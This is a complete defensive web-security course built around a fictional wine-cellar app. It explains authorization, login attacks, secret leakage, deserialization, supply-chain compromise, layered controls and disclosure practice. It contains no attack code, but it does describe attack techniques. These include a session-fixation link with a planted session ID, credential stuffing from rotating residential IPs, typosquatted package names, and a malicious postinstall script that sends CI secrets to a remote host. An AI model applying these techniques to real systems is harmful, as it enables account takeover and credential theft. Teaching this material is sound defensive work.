An authorization rule has three parts, and writing them separately makes it reviewable and testable: principal — the authenticated user from the session, never a user ID taken from the request body; object — cellar 1041, identified by the path parameter; predicate — cellar.owner_id == principal.id OR principal.id IN cellar.shared_with OR principal.role == "support". Notice that the third clause is a vertical-privilege grant sitting inside an object-level rule, which is where support-access exceptions belong: explicit, in the predicate, and therefore visible to a reviewer and testable — rather than implemented as a separate endpoint that forgot to check anything.
Symptom: "we replaced sequential IDs with UUIDs, so IDOR is fixed." Why it survives: it genuinely stops trivial enumeration, so the crude version of the attack disappears and the fix appears to work. Corrective: unguessable identifiers reduce discoverability, not authority — anyone who obtains an ID still gets the object, and IDs leak constantly through shared links, referrer headers, screenshots in support tickets, exports, and logs. Ship UUIDs if you like, as a defense-in-depth layer; do not let them close the finding. This is security by obscurity wearing a modern hat.
The mental image of a login attack — someone at a terminal trying passwords one after another — is almost the only thing that does not happen. Guessing is slow, noisy, and defeated by a lockout written in an afternoon. What actually happens is that an attacker starts with credentials that are already correct, collected from a breach at some other company, and the question is not whether they can guess your users' passwords but whether your users reused them.
Guide Nº 15 covers how authentication should be built: password storage, MFA, session management, the protocols. This module is the other side of the same page. For each attack, we ask which specific control blunts it, at which point in the sequence, and what happens when that control is the only one you have. The result is a mapping you can hold up against your own login and find the gap.
The economics are the whole explanation. Billions of email-and-password pairs from historical breaches circulate as ordinary data files. Password reuse across sites runs somewhere around half of all users by most published surveys, and the attacker does not need to know which half. They take a list of a million pairs, submit each one to your login from a rotating pool of residential IP addresses, and harvest the successes. A 0.5% success rate is a poor day and still yields five thousand compromised accounts.
Notice what this attack does not require. It does not require a flaw in your application — the wine cellar's login can be perfectly implemented and still fall to it. It does not require weak passwords; the credentials are strong and valid, they are merely also in use elsewhere. It does not require defeating your hashing, because the attacker never sees your hashes. Your login is behaving exactly as designed, for someone presenting correct credentials.
Credential stuffing relocates the vulnerability outside your system. The breach that supplies the credentials was somebody else's, the reuse decision was the user's, and the only thing under your control is what you require in addition to a correct password. That is why this is the attack that MFA exists for, and why password policy is almost irrelevant to it.
Two attacker refinements matter for defense design. Distribution: attempts come from thousands of IP addresses, a handful each, so per-IP rate limiting sees nothing anomalous. Low and slow: an attacker with a million pairs and no deadline can spread them over weeks. Both are specifically designed to defeat volumetric detection, which means a defense premised on "we would notice the spike" is premised on the attacker's cooperation.
Four controls are usually proposed, and they are not interchangeable — each intercepts at a different point in the attacker's pipeline, which determines what happens when the others are bypassed.
Read the table as a defense-in-depth argument rather than a ranking. Rate limiting is still worth having: it forces distribution, which costs money and creates the infrastructure footprint that detection can find. Breached-password checks at registration and password reset genuinely prevent a class of reuse before it exists. But if you have one control and it is not MFA, an attacker holding a valid password walks in — which is the sentence to bring to a prioritization meeting.
Guide Nº 15 (authentication and identity) covers the implementation: password hashing with a memory-hard function, TOTP versus WebAuthn, enrollment and recovery flows, and why account recovery is usually the weakest path into an account with MFA enabled. That last point deserves emphasis here, because attackers know it: a login hardened with MFA and a recovery flow that resets on a knowledge question has an MFA-shaped decoration, not an MFA-shaped control.
Session fixation attacks the moment of privilege change rather than the credential. The attacker's goal is to have the victim authenticate into a session whose identifier the attacker already knows.
The sequence has three steps. First, the attacker obtains a valid session identifier — usually by simply visiting the site, since applications commonly issue a session to anonymous visitors to hold a shopping cart or a locale preference. Second, they cause the victim's browser to adopt that identifier: through a link like https://cellar.example/?sid=abc123 if the application accepts session IDs from the URL, through a subdomain that can set a cookie on the parent domain, or through an XSS on any page in the origin. Third, the victim logs in normally, with their own correct password and their own second factor. If the application authenticates the existing session rather than issuing a new one, the identifier the attacker planted is now an authenticated session, and they are logged in as the victim.
The fix is one sentence: regenerate the session identifier on every privilege change — at login, and again at any elevation such as entering an administrative mode or re-authenticating for a sensitive action. Most frameworks provide this as a single call, which is why the bug is nearly always an omission rather than a design decision.
Two related hygiene items. Never accept session identifiers from the URL, which removes the easiest planting vector and also stops sessions leaking through referrer headers, browser history, and the screenshots people paste into support tickets. And note that MFA does not help here at all: the victim completes the second factor themselves. That is worth saying explicitly, because "we have MFA" is offered as an answer to attacks it has no relationship with.
Two smaller attacks complete the login surface, and both connect to material already covered.
Session hijacking is the theft of an already-authenticated token, and it is where module 3 and this module meet. An XSS on any page in your origin yields the session cookie unless it is HttpOnly, and yields the ability to act as the user regardless. Tokens stored in localStorage because they were "easier to attach to fetch calls" are readable by any script in the origin by design — a tradeoff worth making consciously rather than by default. The defenses are the cookie attributes from Guide Nº 15, short session lifetimes, and re-authentication before genuinely sensitive actions such as changing the account email, which is the operation an attacker performs first because it locks the real owner out.
User enumeration is the leak of which accounts exist. The login says "no account with that email" for unknown addresses and "incorrect password" for known ones; the password-reset form says "we sent you an email" for one and "that address isn't registered" for the other; the registration form rejects a duplicate. Even when all three are worded identically, the timing usually differs — verifying a password hash costs real milliseconds that a nonexistent account never spends, unless you deliberately perform a dummy verification.
The severity depends entirely on whether account existence is sensitive. For a wine-cellar app it is mild: it improves stuffing efficiency by letting an attacker discard pairs whose email is not registered, which is a cost increase for them rather than a breach. For a service where membership is itself the private fact — a medical platform, a legal-services portal, a support forum for a stigmatized condition — enumeration is the disclosure, and generic responses plus constant-time behavior are mandatory. Deciding this correctly is a data-classification question before it is an engineering one, which is the kind of judgment a GRC background makes fast.
The synthesis is a mapping. For each attack, the control that actually intercepts it, and the failure mode of relying on that control alone.
| Attack | What it needs | Control that intercepts | Failure mode of relying on it alone |
|---|---|---|---|
| Credential stuffing | Valid pairs from another breach | MFA, phishing-resistant where possible | Account-recovery flow becomes the soft path in; enrollment gaps leave users uncovered |
| Password spraying | One common password, many accounts | Per-account throttling and breached-password checks | Distribution across accounts stays under any per-account limit |
| Session fixation | Victim to authenticate a known session ID | Session regeneration at privilege change | None significant — but it must fire on every elevation, not just login |
| Session hijacking | An XSS, a leaked token, or an insecure channel | HttpOnly and Secure cookies, short lifetimes, re-auth for sensitive actions | HttpOnly stops theft, not use — the live tab is still compromised |
| User enumeration | Differential responses or timing | Generic responses plus constant-time behavior | Closing login but leaving reset and registration inconsistent |
Two conclusions follow. First, no control appears twice, so a login with one strong defense has one covered attack — the argument for depth that module 8 generalizes. Second, the most common real failure is not a missing control but an uncovered adjacent path: MFA on login and none on recovery; regeneration at login and none at privilege elevation; generic errors on the login form and specific ones on password reset. Attackers test the adjacent path first, because it is where the effort has not been spent.
Symptom: a control described by name — "we have MFA" — rather than by coverage: which flows, which user segments, which fallbacks. Why it survives: the name is what appears in the security questionnaire and the board deck, and the name is true. Corrective: write every control as a coverage statement with its exceptions enumerated. "MFA is required on login and on password reset, for all accounts, with recovery codes issued at enrollment and no knowledge-question fallback" is a claim someone can falsify by testing. "We have MFA" is not.
Every finding so far involved an attacker sending something to you. This module covers the two directions nobody watches: things leaving that should not, and things arriving that nobody thought of as arriving.
Outbound, the wine cellar leaks secrets through source control, logs, error pages, and a JavaScript bundle that turns out to contain an API key. Inbound, it accepts serialized objects and — the largest and least-examined crossing on the entire map — installs 412 packages whose code runs with full application privilege, 374 of which nobody chose. Both directions are boundary crossings, and both are invisible for the same reason: they do not look like requests, so they are never on anyone's list of inputs.
A secret's security property is that it is known only where it must be. Every additional location is an independent chance of exposure, and secrets have a strong tendency to reproduce.
The wine cellar's audit found the Stripe restricted key in five places. In config/settings.py, committed in 2023 and later replaced by an environment variable — but git keeps history, so the key is retrievable by anyone who ever cloned the repository, including two contractors whose access was revoked. In CI build logs, because a debugging step printed the environment during a deploy incident and the log retention is eighteen months. In an exception payload sent to the error-tracking service, since the HTTP client's request object serialized its own headers into the traceback context. In the React bundle, where an engineer needed a key for a client-side call and used the one that was already in the config file. And in a Slack thread from the migration, which is a system with different retention rules and a different access model than anything in the architecture diagram.
A secret in an environment variable is not "secured" — it is stored in a place with slightly better default hygiene. What makes a secret defensible is that it is short-lived, narrowly scoped, retrievable at runtime from a system that logs access, and rotatable without a deploy. Location is the least interesting of those properties, which is why "it's in an env var" answers the wrong question.
Guide Nº 20 (the analytics stack) covers data handling, log pipelines, and where sensitive values accumulate downstream — the systems that make a leaked secret durable and widely readable. Two consequences from there are worth naming: log sinks typically have broader access than production databases, and analytics pipelines copy data into systems with different retention and different access review. A secret or a personal identifier that reaches a log has effectively been distributed to everyone with dashboard access.
One operational note that gets skipped: a secret that has ever been in git history is compromised and must be rotated, not deleted. Removing the file in a later commit changes nothing about the earlier one, and history rewriting does not reach clones, forks, or the caches of anyone's CI. Rotation is the only action that changes the security state; everything else is tidying.
Data leaves through three ordinary mechanisms, none of which is a vulnerability in the usual sense.
Over-returning. The cellar API's /api/users/:id serializes the whole ORM model, so a response rendering a collector's public display name also carries their email, hashed password, password-reset token, and internal admin flags. The UI displays two of those fields, which is why nobody noticed — the browser's network tab is not part of most people's review, and the fix is an explicit output schema listing what may be sent rather than a model dump minus a blocklist of what may not.
Personal data in logs. A request logger that records full request bodies captures every note, address, and payment detail into a system with far broader access than the database. This is where a security concern and a regulatory one converge: log retention that exceeds the retention you promised in your privacy policy is a compliance failure whether or not anyone attacks it, and a deletion request you honor in Postgres and not in your log sink is not honored.
Verbose errors. A production stack trace is reconnaissance, and it is worth being specific about what each line gives away rather than treating it as generally untidy. Framework and version identify which published vulnerabilities to try. File paths reveal directory structure and the deployment layout. A database error containing the failed query discloses table and column names, which is precisely what an injection attempt needs to escalate from "something happened" to a targeted extraction — blind injection is slow, and a helpful error message makes it fast. Library versions in the trace enumerate the dependency surface. The correct behavior is a generic message with a correlation ID to the client and the full detail in a log the attacker cannot read.
Symptom: a control whose effectiveness depends on the attacker not knowing something — an unlinked admin route, a renamed parameter, a header removed to hide the framework, a UUID standing in for an authorization check. Why it survives: obscurity does raise cost slightly, so it produces observable improvement in scan results. Corrective: keep obscurity as a layer and never as a control. The test is simple: if you published your architecture, which of your defenses would stop working? Those are not defenses. Note that this is not an argument for verbose errors — reducing an attacker's information is worth doing, it is just never the thing standing between them and your data.
"It's encrypted" is a claim about a specific layer against a specific adversary, and it is routinely offered as though it were a claim about the data itself. Being precise here is what separates a defensible control statement from a comforting one.
Encrypted in transit means an observer on the network cannot read or modify the data. It protects against interception between endpoints. It says nothing about what either endpoint does, so a value delivered securely over TLS and then written to a log is plaintext in the log — TLS worked exactly as designed and the data is exposed.
Encrypted at rest, in the usual cloud sense, means the storage volume or object store is encrypted with a key the platform manages, and the application's identity can transparently read it. It protects against an adversary who obtains the physical disk, the decommissioned drive, or the raw snapshot. It does not protect against SQL injection, a stolen instance role, an over-broad API response, or a compromised application — because in every one of those cases the attacker reads through the application's own identity, and the decryption happens for them exactly as it does for you. Every finding in this course reached data through a layer where encryption at rest was already transparently undone.
Overclaimed: "Customer data is encrypted, so a breach would not expose it." Honest: "Customer data is encrypted in transit (TLS 1.3) and at rest (AES-256, platform-managed keys), which protects against network interception and physical media compromise. It does not protect against an attacker operating through the application's own identity — SQL injection, a stolen instance role, or broken access control all read decrypted data. Those are addressed by parameterized queries, IMDSv2 with least-privilege roles, and data-layer authorization scoping respectively." The second version is longer and it is the one that survives the follow-up question, which is always encrypted against whom?
Application-layer encryption — encrypting specific fields with a key the database never holds — is the control that does survive database compromise, and it costs you the ability to query those fields. That tradeoff is the real decision, and it should be made per-field: encrypting a stored payment token this way is usually worth it; encrypting an email address you need to look up by is usually not.
Key management, envelope encryption, and rotation mechanics belong to Guide Nº 19. The security question this module adds is the scoping one: for each encryption claim in your system, name the adversary it defeats and the layer at which it is transparently undone. A claim without those two facts is not yet a control.
Serialization converts an object in memory to bytes; deserialization does the reverse. The security problem is that some formats do considerably more than reconstruct data — they reconstruct types, and reconstructing a type can mean invoking code.
The mechanism at concept level: a rich serialization format encodes not just values but which classes to instantiate, and the deserializer, following those instructions, imports and constructs them. Many classes execute logic during construction or restoration. So an attacker who controls the serialized bytes controls which types get instantiated with which arguments, and the practical question becomes whether any reachable class in your application or its 412 dependencies does something dangerous on load. Given a large enough dependency graph, the answer is usually yes. Python's pickle, Java's native serialization, PHP's unserialize, and Ruby's Marshal all have this property, which is why every one of their manuals says not to use them on untrusted input.
Where does untrusted serialized data show up? A session cookie storing a pickled object, which is exactly what the wine cellar's nightly job did with its resume-state. A cache entry an attacker can influence. A message on a queue that an SSRF or a compromised worker could write to. A file upload processed by a library that deserializes. In every case, the boundary was crossed by bytes that describe a program, and the reason it goes unnoticed is that the code looks like data handling — state = pickle.loads(blob) reads as parsing.
Do not deserialize untrusted input into rich objects. Use data-only formats — JSON, or a schema-validated binary format — and construct your own objects from the parsed values after validating them, so that the set of types your code will build is fixed by your code rather than by the input. If you must accept a serialized blob you produced, sign it and verify the signature before parsing, which converts the question from "is this input safe" to "did we produce it" — the same channel-separation move as parameterization, one abstraction up. Note that JSON parsers are not automatically safe either: a library configured to instantiate types from a _type field has reintroduced exactly the property you were avoiding.
Crossing 8 on the master map is the one with the highest privilege and the least review. The wine cellar installs 412 packages; 38 were chosen by a person, and the other 374 arrived because something else needed them. That code runs in your process, reads your environment variables, holds your instance role, and — during installation — often executes arbitrary build scripts. No input in this course has more authority.
Three attack shapes. Known-vulnerable components: a dependency has a published CVE and you are two years behind. This is the most common and the least interesting, and it is mechanically detectable — which is why not detecting it mechanically is the finding. Typosquatting: a package named python3-dateutil impersonating the real python-dateutil, or reqeusts impersonating requests, published to catch a typo or an AI-generated import that named a plausible package that did not previously exist. Account or maintainer compromise: a legitimate package you already depend on ships a malicious version, which is the shape of the secondary running example and the hardest to defend, because nothing about the name or the source looks wrong.
On a Tuesday, the wine cellar's CI produced a failing build with a diff nobody requested: package-lock.json showed image-size moving from 1.0.2 to 1.0.3. Nobody had run an upgrade. The cause was a caret range on sharp-utils, a direct dependency, which permitted a new minor version that in turn widened its own range on image-size. The new version added a postinstall script that read process.env and posted it to a remote host — which, in CI, means every build secret in the environment.
Detection came from the lockfile, not from a scanner: the diff was visible because the lockfile was committed, and it was anomalous because a change appeared in a build where no dependency change was intended. That is the entire detection mechanism, and it is available to any team willing to commit a lockfile and read its diffs.
Guide Nº 19 (applied cryptography) covers package signing, artifact attestation, and hash verification — the mechanisms behind --frozen-lockfile, integrity hashes, and provenance attestation. What this module adds is the reasoning above them: the lockfile's integrity hash proves you installed the same bytes as last time, which is exactly what made the anomaly visible, and proves nothing about whether those bytes are benign.
The practical program is unglamorous and effective. Commit lockfiles and read their diffs, treating an unrequested version change as an incident until explained. Pin direct dependencies to exact versions and upgrade deliberately. Run npm ci and pip install --require-hashes in CI so builds cannot silently resolve something new. Disable install scripts where your toolchain permits it. Run automated vulnerability scanning so the known-CVE case is handled mechanically. And reduce blast radius: CI credentials scoped per job, no production secrets in build environments, and the least-privilege instance role from module 4 doing double duty here.
The walk is finished. Six findings, each pinned to a crossing on the map from module 1, each with a fix that named the guide owning the underlying defense. What remains is the part that determines whether any of it holds: how you build so that the next feature does not reintroduce the class, and how security gets done as a practice rather than as an annual event.
Three ideas carry this module. Layering: controls are designed on the assumption that other controls will fail, which is a different design goal from making each control excellent. Encoding over validation: filtering input reduces surface, but escaping for the destination is the thing that actually guarantees the property — a distinction that has now appeared in four modules and deserves stating in general form. And systematizing the boundary question from module 1 into a repeatable pass, so that finding these bugs stops depending on whether someone happened to think adversarially that afternoon.
"We have a firewall." "Everything is over HTTPS." "There's a WAF in front of it." Each of these is a true statement about a real control, and each is offered as an answer to a question it does not address. The failure is not that the control is bad; it is that a single control is a plan whose success probability equals that control's success probability, forever, against every attacker.
Defense in depth starts from the opposite assumption: every layer will fail sometimes — to a bug, a misconfiguration, a bypass, or an engineer in a hurry — and the design goal is that no single failure is catastrophic. This reframes what a good layer is. A good layer is not the one that is hardest to defeat; it is the one that fails independently of the others. Two excellent controls that both depend on your application code being correct are, for design purposes, closer to one control.
Read the annotations rather than the boxes. Layer 1 assumes it will miss things, which is why it is not the fix. Layer 2 is the actual repair and assumes one sink will eventually be forgotten in a codebase that grows. Layer 3 is enforced by the browser from a header, so it holds even when application code is wrong — and assumes the policy itself may be too permissive. Layer 4 does not prevent anything; it bounds the outcome. That progression, from prevention to containment, is what a defense-in-depth design looks like when it is honest about failure.
Symptom: a security question answered with a single noun — "we have a WAF," "it's behind the VPN," "the data's encrypted." Why it survives: the statement is true, it names a real control someone paid for, and it ends the conversation. Corrective: require every control claim to be accompanied by its failure mode and by what stands behind it. "The WAF blocks known injection patterns; if it is bypassed, parameterized queries prevent the class; if a raw query is introduced, the database user has read-only access to three tables." That is a plan. One noun is a purchase.
This distinction has now appeared four times — parameterization versus sanitizing in module 2, encoding versus filtering in module 3, allowlisting destinations in module 4, type-checking before a document query in module 2 — and it is the same principle each time, so it is worth stating generally.
Input validation asks: is this value acceptable? It is a filter, applied at entry, with no knowledge of where the value will eventually go. It is genuinely useful: rejecting a vintage that is not four digits or a note longer than 4,000 characters narrows the state space your code must handle, catches errors early, and produces good error messages. But its correctness argument is an enumeration — the set of unacceptable values — which is the shape of argument that degrades, as module 2 established.
Output encoding asks: how must this value be escaped for the specific place it is going? It is applied at the exit, where the destination is known, and its correctness argument is a mechanism: in this context, these characters have meaning, and encoding them removes it. That claim does not depend on predicting the input.
Validation is a filter; encoding is the guarantee. One value may pass through four destinations — a SQL query, an HTML body, a URL, a log line — each needing different treatment, so there is no single "sanitized" state a value can be in. Escaping is a property of the destination, not of the value, which is why input-time cleaning is structurally the wrong layer no matter how well it is implemented.
Generalize past HTML and the principle keeps working. Values reaching a shell go as an argv list rather than a quoted string. Values reaching a document database are type-asserted. Values reaching a log are encoded so that a note containing a newline cannot forge a second log entry — log injection is a real technique for hiding activity from a reader or a SIEM. Values reaching a CSV export are prefixed so a cell beginning with = is not interpreted as a formula when a collector opens their export in Excel. Same principle, five destinations, five encodings.
The two arguments have the shapes of a rule and a standard. Blocklisting is a standard — it asks whether a given input is bad enough, and its application shifts with context and with the drafter's foresight. Encoding is a rule — it specifies an operation that either was or was not performed. Rules are less flexible and enormously more auditable, and security engineering prefers them for the same reason a well-drafted contract prefers a bright line to a reasonableness test: you can determine compliance by inspection, without reconstructing anyone's intent.
Two categories of cheap layer, both worth setting globally rather than debating per-feature.
Headers. Content-Security-Policy is the one that matters most and costs most to adopt, because a strict policy requires removing inline scripts and handlers from your own templates — which is the work, and why the header is so often set to something permissive enough to be decorative. Start with report-only mode, collect violations, fix your own code, then enforce. Strict-Transport-Security forces HTTPS on every request after the browser has seen the header once; the first-ever request to a domain the browser has never met stays vulnerable to downgrade unless the domain is on the HSTS preload list baked into the browser. X-Content-Type-Options: nosniff stops the browser from second-guessing your content type, which is how an uploaded file gets treated as HTML. frame-ancestors handles clickjacking from module 3. Referrer-Policy stops URLs — which, as module 5 noted, may contain identifiers — leaking to third parties.
Least privilege is the more powerful of the two, because it operates on blast radius rather than on likelihood, and blast radius is what determines whether an incident is a bad week or an existential event. Applied concretely to the wine cellar: the application's database user has no DROP and no access to the audit schema, so a successful injection cannot destroy history. The worker's instance role writes to one S3 prefix, so the module 4 credential theft yields almost nothing. CI jobs hold credentials scoped to the job, so the module 7 supply-chain incident cannot publish packages. Sessions carry the role the user actually has, so a vertical escalation has less to escalate to.
Notice that each of those was already the recommended fix for a specific finding. That is the point: least privilege is not an additional workstream, it is the same decision made consistently at every point where a principal is granted access to something. The reason to name it as a principle is that it is what makes the difference between the sentence "an attacker obtained credentials" and the sentence "an attacker obtained credentials that could write thumbnails to one bucket prefix."
Threat modeling has a reputation problem, earned by heavyweight versions that produce a forty-page document nobody reads. The lightweight version is just module 1's boundary question, asked systematically, on a cadence, over a table.
For each crossing on your map, four columns: what does the receiving side trust about what arrives; who supplies it; what happens if that trust is abused; and what control makes the abuse ineffective. Four columns, one row per crossing, done at design time for a new feature or in an hour for an existing system. The output is not a document to file — it is a list of controls that either exist or become work items.
Three practical notes. Do it at design time, when the answer is a paragraph in a design doc rather than a migration. Time-box it — an hour for a feature, half a day for a system — because a threat model that competes with shipping loses. And keep the artifact in the repository next to the code, so it is updated by the same pull request that adds a crossing, rather than becoming a document that describes last year's architecture with increasing confidence.
Security as a phase produces a report. Security as a property of the lifecycle produces systems that stay fixed, and the difference shows up entirely in what happens after a finding.
The distribution across the lifecycle is unremarkable and each piece has appeared already. Design: the threat-model pass, and the architectural decisions that cap blast radius — an egress proxy, a scoped role, a separated CI environment. Implementation: defaults that make the unsafe path require effort — a repository with no unscoped fetch, a template engine that escapes by default, a lint rule failing on concatenated SQL. Review: a short checklist keyed to the classes you actually ship, not a generic list. Dependencies: lockfile diffs read, scanning automated. Deployment: headers set globally, secrets fetched at runtime, least-privilege roles. Operation: logs that would let you answer "what did this principal access" during an incident, which is a decision made long before the incident.
Symptom: a report's findings closed one by one — the IDOR on /api/cellars/:id is fixed, the XSS on the note field is fixed — and the engagement marked complete. Why it survives: it is measurable, it satisfies the auditor, and the tickets genuinely close. Corrective: read each finding as an instance of a class and ask three questions: where else does this class occur (the other 33 handlers), what made it possible (no enforcement point where omission fails closed), and what would prevent the next one (data-layer scoping, a lint rule, a default). A tester who found one IDOR found the first one they tried, not the only one — the sampling was theirs and the population is yours.
Which raises the honest thing to say about pentests: a report is a sample, and its most useful content is the class distribution, not the instance list. If a tester found a missing authorization check in the first hour, the finding is not "that endpoint" — it is that your architecture permits authorization to be omitted silently. Fixing the endpoint costs an hour and changes nothing structural. Fixing the class costs a week and retires the category.
Someone will eventually email you about a vulnerability. How that email is handled is a real control, because the alternative to a report you receive is one you do not.
The engineering version has five steps and no drama. Intake: a published security.txt and a monitored address, so a finder does not have to guess — most bad disclosure experiences begin with a reporter unable to find anyone to tell. Acknowledge within a stated window, typically 72 hours, because silence is what pushes reporters toward public posting; from their side, silence and ignoring are indistinguishable. Triage against the class, using the questions from the previous section. Fix, validate, and tell the reporter — they are usually the only person who will verify your fix competently, and they will do it free. Coordinate disclosure: agree a date, credit them, and publish something honest.
Symptom: the first response to a good-faith report is drafted by someone whose job is risk to the company rather than risk to users — a demand to keep it confidential, a suggestion that testing violated terms of service, silence. Why it survives: it is locally rational; the report is a reputational risk, and the instinct to control it is genuine. Corrective: the finder is the least dangerous person who will ever hold this information, and treating them as adversarial does not unlearn what they know — it only removes your notice period and teaches the next finder to publish first. A safe-harbor statement, an acknowledgment SLA, and public credit cost almost nothing and change the entire population of people willing to tell you.
That is the closing thought for the course. Everything here — the boundary map, the six findings, the layered controls, the threat-model table — is in service of one shift that happened in module 1: you now describe features by the capabilities they grant rather than the behaviors they perform. The vulnerability classes will keep changing. The question does not: what does this trust, and who gets to supply it?
This is the complete text of the course. With JavaScript enabled, this same page runs the interactive edition — a self-diagnostic that reorders the syllabus around your gaps, knowledge checks, applied worksheets with model answers, and a spaced-repetition review queue — with progress saved locally in your browser.